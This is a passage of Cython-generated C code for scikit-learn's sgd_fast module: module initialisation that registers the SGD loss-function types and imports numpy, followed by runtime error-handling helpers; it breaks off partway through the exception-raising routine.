__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredHinge = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredHinge.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredHinge.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredHinge.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 166; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredHinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 166; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"SquaredHinge\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 166; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredHinge = &__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Log = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_Log;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Log.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Log.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_3Log_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Log.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_3Log_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_Log.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Classification;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_Log) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 198; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_Log.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Log) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 198; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"Log\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_Log) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 198; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Log = &__pyx_type_7sklearn_12linear_model_8sgd_fast_Log;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredLoss = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredLoss.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredLoss.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredLoss.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 223; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredLoss) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 223; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"SquaredLoss\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 223; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredLoss = &__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Huber = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_Huber;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Huber.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Huber.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_5Huber_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Huber.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_5Huber_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_Huber.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_Huber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 235; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_Huber.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Huber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 235; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"Huber\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_Huber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 235; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Huber = &__pyx_type_7sklearn_12linear_model_8sgd_fast_Huber;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 271; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 271; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"EpsilonInsensitive\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 271; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive = &__pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 298; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 298; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"SquaredEpsilonInsensitive\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 298; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive = &__pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n  /*--- Type import code ---*/\n  __pyx_ptype_7cpython_4type_type = __Pyx_ImportType(__Pyx_BUILTIN_MODULE_NAME, \"type\", \n  #if CYTHON_COMPILING_IN_PYPY\n  sizeof(PyTypeObject),\n  #else\n  sizeof(PyHeapTypeObject),\n  #endif\n  0); if (unlikely(!__pyx_ptype_7cpython_4type_type)) {__pyx_filename = __pyx_f[2]; __pyx_lineno = 9; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_dtype = __Pyx_ImportType(\"numpy\", \"dtype\", sizeof(PyArray_Descr), 0); if (unlikely(!__pyx_ptype_5numpy_dtype)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 155; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_flatiter = __Pyx_ImportType(\"numpy\", \"flatiter\", sizeof(PyArrayIterObject), 0); if (unlikely(!__pyx_ptype_5numpy_flatiter)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 165; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_broadcast = __Pyx_ImportType(\"numpy\", \"broadcast\", sizeof(PyArrayMultiIterObject), 0); if (unlikely(!__pyx_ptype_5numpy_broadcast)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 169; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_ndarray = __Pyx_ImportType(\"numpy\", \"ndarray\", sizeof(PyArrayObject), 0); if (unlikely(!__pyx_ptype_5numpy_ndarray)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_ufunc = __Pyx_ImportType(\"numpy\", \"ufunc\", sizeof(PyUFuncObject), 0); if (unlikely(!__pyx_ptype_5numpy_ufunc)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 861; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_5utils_13weight_vector_WeightVector = __Pyx_ImportType(\"sklearn.utils.weight_vector\", \"WeightVector\", sizeof(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector), 1); if (unlikely(!__pyx_ptype_7sklearn_5utils_13weight_vector_WeightVector)) {__pyx_filename = __pyx_f[3]; __pyx_lineno = 14; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_vtabptr_7sklearn_5utils_13weight_vector_WeightVector = (struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector*)__Pyx_GetVtable(__pyx_ptype_7sklearn_5utils_13weight_vector_WeightVector->tp_dict); if (unlikely(!__pyx_vtabptr_7sklearn_5utils_13weight_vector_WeightVector)) {__pyx_filename = __pyx_f[3]; __pyx_lineno = 14; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_5utils_11seq_dataset_SequentialDataset = __Pyx_ImportType(\"sklearn.utils.seq_dataset\", \"SequentialDataset\", sizeof(struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset), 1); if (unlikely(!__pyx_ptype_7sklearn_5utils_11seq_dataset_SequentialDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 9; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_vtabptr_7sklearn_5utils_11seq_dataset_SequentialDataset = (struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset*)__Pyx_GetVtable(__pyx_ptype_7sklearn_5utils_11seq_dataset_SequentialDataset->tp_dict); if (unlikely(!__pyx_vtabptr_7sklearn_5utils_11seq_dataset_SequentialDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 9; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_5utils_11seq_dataset_ArrayDataset = __Pyx_ImportType(\"sklearn.utils.seq_dataset\", \"ArrayDataset\", sizeof(struct __pyx_obj_7sklearn_5utils_11seq_dataset_ArrayDataset), 1); if (unlikely(!__pyx_ptype_7sklearn_5utils_11seq_dataset_ArrayDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_vtabptr_7sklearn_5utils_11seq_dataset_ArrayDataset = (struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_ArrayDataset*)__Pyx_GetVtable(__pyx_ptype_7sklearn_5utils_11seq_dataset_ArrayDataset->tp_dict); if (unlikely(!__pyx_vtabptr_7sklearn_5utils_11seq_dataset_ArrayDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_5utils_11seq_dataset_CSRDataset = __Pyx_ImportType(\"sklearn.utils.seq_dataset\", \"CSRDataset\", sizeof(struct __pyx_obj_7sklearn_5utils_11seq_dataset_CSRDataset), 1); if (unlikely(!__pyx_ptype_7sklearn_5utils_11seq_dataset_CSRDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 34; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_vtabptr_7sklearn_5utils_11seq_dataset_CSRDataset = (struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_CSRDataset*)__Pyx_GetVtable(__pyx_ptype_7sklearn_5utils_11seq_dataset_CSRDataset->tp_dict); if (unlikely(!__pyx_vtabptr_7sklearn_5utils_11seq_dataset_CSRDataset)) {__pyx_filename = __pyx_f[4]; __pyx_lineno = 34; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Variable import code ---*/\n  /*--- Function import code ---*/\n  /*--- Execution code ---*/\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":11\n * \n * \n * import numpy as np             # <<<<<<<<<<<<<<\n * import sys\n * from time import time\n */\n  __pyx_t_1 = __Pyx_Import(((PyObject *)__pyx_n_s__numpy), 0, -1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 11; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__np, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 11; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":12\n * \n * import numpy as np\n * import sys             # <<<<<<<<<<<<<<\n * from time import time\n * \n */\n  __pyx_t_1 = __Pyx_Import(((PyObject *)__pyx_n_s__sys), 0, -1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 12; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__sys, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 12; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":13\n * import numpy as np\n * import sys\n * from time import time             # <<<<<<<<<<<<<<\n * \n * from libc.math cimport exp, log, sqrt, pow, fabs\n */\n  __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 13; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__time));\n  PyList_SET_ITEM(__pyx_t_1, 0, ((PyObject *)__pyx_n_s__time));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__time));\n  __pyx_t_2 = __Pyx_Import(((PyObject *)__pyx_n_s__time), ((PyObject *)__pyx_t_1), -1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 13; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0;\n  __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__time);\n  if (__pyx_t_1 == NULL) {\n    if (PyErr_ExceptionMatches(PyExc_AttributeError)) __Pyx_RaiseImportError(__pyx_n_s__time);\n    if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 13; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  }\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__time, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 13; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":22\n * from sklearn.utils.seq_dataset cimport SequentialDataset\n * \n * np.import_array()             # <<<<<<<<<<<<<<\n * \n * \n */\n  import_array();\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":327\n * \n * \n * def plain_sgd(np.ndarray[DOUBLE, ndim=1, mode='c'] weights,             # <<<<<<<<<<<<<<\n *               double intercept,\n *               LossFunction loss,\n */\n  __pyx_t_2 = PyCFunction_NewEx(&__pyx_mdef_7sklearn_12linear_model_8sgd_fast_1plain_sgd, NULL, __pyx_n_s_21); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__plain_sgd, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":1\n * # encoding: utf-8             # <<<<<<<<<<<<<<\n * # cython: cdivision=True\n * # cython: boundscheck=False\n */\n  __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_t_2));\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s____test__, ((PyObject *)__pyx_t_2)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0;\n\n  /* \"numpy.pxd\":975\n *      arr.base = baseptr\n * \n * cdef inline object get_array_base(ndarray arr):             # <<<<<<<<<<<<<<\n *     if arr.base is NULL:\n *         return None\n */\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  if (__pyx_m) {\n    __Pyx_AddTraceback(\"init sklearn.linear_model.sgd_fast\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n    Py_DECREF(__pyx_m); __pyx_m = 0;\n  } else if (!PyErr_Occurred()) {\n    PyErr_SetString(PyExc_ImportError, \"init sklearn.linear_model.sgd_fast\");\n  }\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  #if PY_MAJOR_VERSION < 3\n  return;\n  #else\n  return __pyx_m;\n  #endif\n}\n\n/* Runtime support code */\n#if CYTHON_REFNANNY\nstatic __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) {\n    PyObject *m = NULL, *p = NULL;\n    void *r = NULL;\n    m = PyImport_ImportModule((char *)modname);\n    if (!m) goto end;\n    p = PyObject_GetAttrString(m, (char *)\"RefNannyAPI\");\n    if (!p) goto end;\n    r = PyLong_AsVoidPtr(p);\nend:\n    Py_XDECREF(p);\n    Py_XDECREF(m);\n    return (__Pyx_RefNannyAPIStruct *)r;\n}\n#endif /* CYTHON_REFNANNY */\n\nstatic PyObject *__Pyx_GetName(PyObject *dict, PyObject *name) {\n    PyObject *result;\n    result = PyObject_GetAttr(dict, name);\n    if (!result) {\n        if (dict != __pyx_b) {\n            PyErr_Clear();\n            result = PyObject_GetAttr(__pyx_b, name);\n        }\n        if (!result) {\n            PyErr_SetObject(PyExc_NameError, name);\n        }\n    }\n    return result;\n}\n\nstatic CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    PyObject *tmp_type, *tmp_value, *tmp_tb;\n    PyThreadState *tstate = PyThreadState_GET();\n    tmp_type = tstate->curexc_type;\n    tmp_value = tstate->curexc_value;\n    tmp_tb = tstate->curexc_traceback;\n    tstate->curexc_type = type;\n    tstate->curexc_value = value;\n    tstate->curexc_traceback = tb;\n    Py_XDECREF(tmp_type);\n    Py_XDECREF(tmp_value);\n    Py_XDECREF(tmp_tb);\n#else\n    PyErr_Restore(type, value, tb);\n#endif\n}\nstatic CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    PyThreadState *tstate = PyThreadState_GET();\n    *type = tstate->curexc_type;\n    *value = tstate->curexc_value;\n    *tb = tstate->curexc_traceback;\n    tstate->curexc_type = 0;\n    tstate->curexc_value = 0;\n    tstate->curexc_traceback = 0;\n#else\n    PyErr_Fetch(type, value, tb);\n#endif\n}\n\n#if PY_MAJOR_VERSION < 3\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb,\n                        CYTHON_UNUSED PyObject *cause) {\n    Py_XINCREF(type);\n    if (!value || value == Py_None)\n        value = NULL;\n    else\n        Py_INCREF(value);\n    if (!tb || tb == Py_None)\n        tb = NULL;\n    else {\n        Py_INCREF(tb);\n        if (!PyTraceBack_Check(tb)) {\n            PyErr_SetString(PyExc_TypeError,\n                \"raise: arg 3 must be a traceback or None\");\n            goto raise_error;\n        }\n    }\n    #if PY_VERSION_HEX < 0x02050000\n    if (PyClass_Check(type)) {\n    #else\n    if (PyType_Check(type)) {\n    #endif\n#if CYTHON_COMPILING_IN_PYPY\n        if (!value) {\n            Py_INCREF(Py_None);\n            value = Py_None;\n        }\n#endif\n        PyErr_NormalizeException(&type, &value, &tb);\n    } else {\n        if (value) {\n            PyErr_SetString(PyExc_TypeError,\n                \"instance exception may not have a separate value\");\n            goto raise_error;\n        }\n        value = type;\n        #if PY_VERSION_HEX < 0x02050000\n            if (PyInstance_Check(type)) {\n                type = (PyObject*) ((PyInstanceObject*)type)->in_class;\n                Py_INCREF(type);\n            }\n            else {\n                type = 0;\n                PyErr_SetString(PyExc_TypeError,\n                    \"raise: exception must be an old-style class or instance\");\n                goto raise_error;\n            }\n        #else\n            type = (PyObject*) Py_TYPE(type);\n            Py_INCREF(type);\n            if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) {\n                PyErr_SetString(PyExc_TypeError,\n                    \"raise: exception class must be a subclass of BaseException\");\n                goto raise_error;\n            }\n        #endif\n    }\n    __Pyx_ErrRestore(type, value, tb);\n    return;\nraise_error:\n    Py_XDECREF(value);\n    Py_XDECREF(type);\n    Py_XDECREF(tb);\n    return;\n}\n#else /* Python 3+ */\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) {\n    PyObject* owned_instance = NULL;\n    if (tb == Py_None) {\n        tb = 0;\n    } else if (tb && !PyTraceBack_Check(tb)) {\n        PyErr_SetString(PyExc_TypeError,\n            \"raise: arg 3 must be a traceback or None\");\n        goto bad;\n    }\n    if (value == Py_None)\n        value = 0;\n    if (PyExceptionInstance_Check(type)) {\n        if (value) {\n            PyErr_SetString(PyExc_TypeError,\n                \"instance exception may not have a separate value\");\n            goto bad;\n        }\n        value = type;\n        type = (PyObject*) Py_TYPE(value);\n    } else if (PyExceptionClass_Check(type)) {\n        PyObject *args;\n        if (!value)\n            args = PyTuple_New(0);\n        else if (PyTuple_Check(value)) {\n            Py_INCREF(value);\n            args = value;\n        }\n        else\n            args = PyTuple_Pack(1, value);\n        if (!args)\n            goto bad;\n        owned_instance = PyEval_CallObject(type, args);\n        Py_DECREF(args);\n        if (!owned_instance)\n            goto bad;\n        value = owned_instance;\n        if (!PyExceptionInstance_Check(value)) {\n            PyErr_Format(PyExc_TypeError,\n                         \"calling %R should have returned an instance of \"\n                         \"BaseException, not %R\",\n                         type, Py_TYPE(value));\n            goto bad;\n        }\n    } else {\n        PyErr_SetString(PyExc_TypeError,\n            \"raise: exception class must be a subclass of BaseException\");\n        goto bad;\n    }\n    if (cause && cause != Py_None) {\n        PyObject *fixed_cause;\n        if (PyExceptionClass_Check(cause)) {\n            fixed_cause = PyObject_CallObject(cause, NULL);\n            if (fixed_cause == NULL)\n                goto bad;\n        }\n        else if (PyExceptionInstance_Check(cause)) {\n            fixed_cause = cause;\n            Py_INCREF(fixed_cause);\n        }\n        else 